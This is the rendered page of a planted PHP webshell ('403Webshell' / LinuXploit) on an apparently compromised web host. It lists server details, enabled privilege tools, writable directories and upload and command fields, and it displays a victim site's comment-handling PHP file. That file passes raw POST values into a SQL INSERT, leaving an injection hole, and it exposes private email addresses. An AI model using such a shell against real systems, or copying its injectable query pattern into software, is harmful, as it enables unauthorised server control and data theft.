403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/glamourdollars.com/vip-area/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/glamourdollars.com/vip-area/members/mod_comments_submit.php
<?php
include('config.php');
dbConn();

if (isset($_POST['post'])) {

$message = "Thank you for leaving a comment! It is pending approval.";

$content_type = $_POST['content_type'];
$content_id = $_POST['content_id'];
$comment = $_POST['comment'];

if ($comment == "") {
	$message = "you forgot comment comment";
} else {
	$comment = strip_tags($comment); // STRIP HTML
	$comment = substr($comment,0,400); // DOUBLE CHECK LIMIT OF 400 CHARS
	$comment = str_replace(chr(10), "<br />", $comment); // CONVERT LINE SPACE TO HTML <BR>
	$comment = addslashes($comment); // ...
	
	$sql = @mysql_query("INSERT INTO cms_members_comments SET
	member_id='$member_id',
	content_type='$content_type',
	content_id='$content_id',
	date='$today',
	comment='$comment'");
	
	$subject = " ** VIPArea.com Comment ** ";
	$to = "tammysandsphoto@gmail.com";
	$to = "Sbjdev@gmail.com";
	$headers = "From: VIPArea.COM <no-reply@VIPArea.com>\r\n" .
	'X-Mailer: PHP/' . phpversion() . "\r\n" .
	"MIME-Version: 1.0\r\n" .
	"Content-Type: text/html; charset=utf-8\r\n" .
	"Content-Transfer-Encoding: 8bit\r\n\r\n";
	
	$message2 = "<strong>member_id:</strong> ".$member_id."<br><br>";
	$message2 .= "<strong>username:</strong> ".$_SERVER['REMOTE_USER']."<br><br><br><br>";
	$message2 .= "<strong>comment:</strong> ".$comment;
	
	mail($to, $subject, $message2, $headers);
				
				
}


}
$section_header = "Thank You!";
include('mod_html_top.php');
?>
<br />
<table width="954" border="0" cellspacing="8" cellpadding="0">
<tr>
<td width="600" valign="top">

<table width="600" height="100" border="0" cellpadding="0" cellspacing="0" background="images/top_bg_search.jpg">
  <tr>
    <td valign="top"><div class="hdr">Thank You...</div></td>
  </tr>
</table><br />
<?=$message?>

<?
include('mod_html_middle.php');

include('mod_side_new_photosets.php');
include('mod_side_rate_models.php');
include('mod_side_rate_photosets.php');

include('mod_html_bottom.php');

?>

Youez - 2016 - github.com/yon3zu
LinuXploit